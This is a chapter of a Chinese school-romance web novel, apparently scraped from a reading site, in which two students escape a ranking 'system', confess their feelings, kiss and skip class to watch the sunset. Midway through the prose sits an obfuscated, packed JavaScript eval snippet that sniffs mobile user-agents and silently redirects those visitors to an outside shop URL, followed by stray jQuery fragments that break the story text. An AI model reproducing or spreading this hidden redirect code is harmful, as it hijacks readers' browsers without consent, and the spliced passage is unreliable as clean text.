文趣网 > 都市小说 > 我不考第一,你真的会死 > 53. 又不是没亲过
    一顿鸡飞狗跳中,下一次考试就这么来了,郁泊言和黎初都有点忐忑。

    两个人手上的痕迹消失,所以系统几乎可以确定已经不在他们身上了,但他们后面又追着林沨滢确认过一回,林沨滢那边却是再三表示没有胎记没有声音也没做过什么梦,让他们离她远点。

    这让黎初惴惴不安:“不在我们身上,也不在她身上,那它是去哪儿了?”

    “就不能是消失了么。”郁泊言说。

    黎初一惊,眼睛骤然亮了起来:“这也不是没可能。”

    “顺其自然吧,”郁泊言说,“我们能做的都做了,着急也没用。”

    当次考试,两个人都没有去参加,像一场精疲力竭后把一切交给天意的豪赌。

    考试结束,隔天成绩出来,林沨滢排第二,第一名是3班一个女孩。

    两个人都不知道那女孩会不会消失,心里都捏了一把汗——理论上,应该不会。但是万一呢?

    出成绩前一晚黎初几乎都没怎么睡觉,次日一早天刚蒙蒙亮就冲去学校看榜,一路上思绪万千,心脏紧张到几乎有些抽痛。

    等待验证的过程她仿佛死了一次,一直等到她站在榜单下方,一直等到她看见那女孩的名字还安安稳稳待在榜单上,才又重新活了过来。

    第一名,叶玲。

    第二名,林沨滢。

    还是昨日的榜单,安安静静贴在那里,并没有任何变化。

    叶玲,叶玲……黎初死盯着榜单最上面那个名字,太好了,太好了,她没有消失,没有被抹杀。

    这说明系统真的也没在林沨滢身上,所以这个系统是真的消失了?

    黎初愣愣站在那里,鼻子一酸,几乎一瞬间泪如泉涌,没有人能对她这一年感同身受,没有人知道这一天她盼了得有多久。

    终于结束了,终于……结束了。

    黎初站在那里,仿佛终于卸下了一块将她日夜折磨的枷锁,只是这样平凡的日子都让她有种不真实的感觉。

    愣怔间,身后一道熟悉的脚步声匆匆靠近,声音急促而紧绷:“发生了什么?难道这次……”

    话音未落,黎初转身撞进了他怀里,她的眼眶红得厉害,明明在落泪,却亮得惊人:“真的结束了郁泊言,真的结束了。”

    郁泊言呼吸一紧,思绪有一瞬间的卡壳,黎初慢半拍意识到不妥,刚想退后半步,腰间一紧,整个人被困在了一个清爽干燥的怀抱中。

    少年垂目看她,眸色深深:“是啊,终于结束了。”

    “所以,”他顿了顿,喉结上下滚动,“现在是不是可以谈谈我们的事了。”

    黎初闻言欲站直了身体,在他怀里动了动,他轻轻松开她,双手小心抓住了她的胳膊,她抬头,对上一双乌沉沉的眸子。

    他似乎有些紧张,那双一贯盛气凌人的眼睛里露出些她从未见过的怯意和小心,他张了张嘴,开口,声音哑得厉害:“黎初,喜欢我一下吧。”

    他注视着她,似乎极没有底气,在她拒绝之前先一步退而求其次,“喜欢得很少也没关系,我的喜欢会把你的喜欢养大。总有一天,你也会很喜欢我。”

    黎初安静看着他的眼睛,像在确认什么,并没有马上开口讲话。

    她不讲话,郁泊言便也不开口,虔诚而沉默地等一个发落。

    他站在那里,好像等了一个世纪之久,然后他看见她轻轻点了点头:

    ——“郁泊言,我愿意陪你走一程。”

    短短数字,郁泊言僵在原地,先是高兴,心脏几乎要跳出来,随即很快从这泼天的欢喜中敏锐捕捉出另一些意味。

    陪他走一程?为什么是走一程。

    郁泊言凝了眉看她,认真纠正:“不是走一程,是一直走下去。黎初,你不信任我。”

    “我没有不信任你,我只是太相信能量守恒了。”黎初淡淡笑了下,“太热烈的东西,往往会让人质疑它的持久。”

    郁泊言就像一团火焰,注定是一个轰轰烈烈的人。

    这个人,做什么事都热烈得像一团火,包括喜欢一个人。

    可什么样的火焰能轰轰烈烈烧一辈子呢?

    她下意识想怀疑。

    “热烈?热烈什么,哪里热烈了?”郁泊言眉蹙得很深,“我只是正常地喜欢你,怎么就热烈了!”

    他顿了顿,认真瞧着她,“那是你的定义,不是我的,我喜欢你的时候就是这个样子。”

    黎初久久看着他,不知过了多久,似叹了口气,她开口,低低道:“走一程的意思……也可能是一程一程地走下去。”

    郁泊言一愣,回过神来,那双漂亮的惊心动魄的眸子里迸发出滚烫的欢喜。不等黎初反应,屈身揽过她的腰抱着她转了几圈,“我有女朋友喽!”

    黎初惊叫一声,下意识伸手去捂他的嘴巴,却被人挑衅般轻轻啄了一口掌心,温软,滚烫。

    她松开手下意识攥紧他的肩膀以保持平衡,一张俏脸微恼,垂目看过去,对上一双恣意飞扬的笑眼。

    郁泊言有心耍无赖抱着媳妇不想撒手,到底是怕真将人惹得生气了,不敢太过放肆,将人轻轻放回了地面上。

    将人放下,垂目定定瞧着那张精致俏丽的脸,一种燥热从内而外,他突然很想亲她。

    想亲她,又怕冒昧。

    好像他喜欢她,想跟她在一起就是为了这个。

    他并不想她这么认为,郁泊言喉结动了动,忍住了。

    然而下一瞬,眼前人盯着他,突然踮起脚尖,在他唇角轻轻落了一吻。

    郁泊言身体骤然僵滞,整个人怔在原地,大脑刹那间一片空白。胸腔中情绪万千,过分浓烈,一时不知如何应对,只能痴痴望着她,眼底如海啸过境,带着一种毁天灭地的炙热与狂乱。

    一吻作罢,黎初脸颊一烫,原以为此人又会说点什么来调侃她,抬眸望见那人眼底,却是一愣,她伸手,有些局促地在他眼前晃了晃:“干嘛这幅表情,又不是没亲过……”

    郁泊言抓住她作乱的手,声音沉凝:“不一样的。”

    他们吻过许多次,唯独这一个,纯粹因为爱情。

    郁泊言歪头亲了亲她的手,将她的手贴在自己脸上,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731471|204702||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一双黑眸灼灼看着她:“黎初。这是我活到现在,最开心的一天。以后老了死了我都不会忘记这一天,走马灯第一个画面就是这个。”

    黎初指尖一颤。

    不会说情话可以不说的,有点子吓人怎么回事。

    黎初的掌心贴在他的脸上,她的手指动了动,指尖轻轻触碰他的脸,从他的额头,落到他鼻梁上,又点了点他的唇瓣。

    触感这样真实,仍觉恍惚。

    她谈恋爱了?

    跟郁泊言?

    这还是太魔幻了。

    郁泊言乖乖顺顺闭着眼任她触碰,在她指尖碰到他睫毛的时候突然睁开眼睛,抓住了她作乱的手指:“走吧,换个地儿给你继续摸。”

    黎初一怔,抽回手,脸颊滚烫:“少大放厥词。”

    这个点儿应该快有人来上学了,黎初退开半步,想各自回教室,被郁泊言挡住了去路:“你还没学够啊?我们被压迫这么久,也该翻身农奴把歌唱一回了吧?”

    黎初犹豫了三秒钟,抬头:“说的也是。”

    两个人在这件事上意见迅速达成一致,直接理直气壮地逃课了。

    拿第一是一种自由。

    不拿也是。

    ......

    故地重游,再爬小梨山,上回是看日出,这回是等落日,心境已大不相同。

    夕阳沉沉,霞光漫天,金红的余晖晕染苍穹,两人站在山边影子被拉得很长。

    山间晚风渐起,气温降得很快,傍晚已有几分清寒。黎初指尖发冷,下意识把手揣进外套口袋里。

    郁泊言留意到她的小动作,蹙眉:“手凉?”

    黎初摇摇头:“还好。”

    下一瞬,郁泊言直接攥住她的手,撩开衬衫将她的手放在自己结实的腰腹上。

    黎初被骤然传来的体温烫了一下,下意识想要缩回手,被他按住。

    郁泊言:“躲什么?手不冷了?”

    黎初挣了下,没挣开:“你松开,像什么话。”

    郁泊言闻言将她的手按得更紧,他看她,一张俊脸上神情似乎突然闪过些挫败:“有时候我真的怀疑,你真的有在喜欢我吗?”

    黎初蹙眉:“你又咋啦?”

    “你如果喜欢我,为什么.......”他顿了顿,语气生硬,“为什么对我没有兴趣的样子?我喜欢你就老想碰碰你,一看见你就忍不住想贴上去,想亲你,想抱你,可你好像对我从来没这种冲动。连我最拿得出手的美貌和身材你都不感兴趣,我真不知道我还能怎么努力了。”

    黎初一整个目瞪口呆,忍不住重重在他腰上拧了一下,站起来,没好气:“努力你个头啊,有时间在这里想东想西不如多做俩题。”

    她似乎不想看他,迎着落日往旁边走过去几步,半晌,低低应了句:“你怎么知道我没兴趣,我只是不表现出来。”

    郁泊言闻言插兜走了过去,在她身侧站定,瞧着她,唇角微翘,“那你要表现出来嘛,不表现出来谁知道。”

    说罢倚着栏杆笑意微微看着她,风流英俊,像是等着她表现。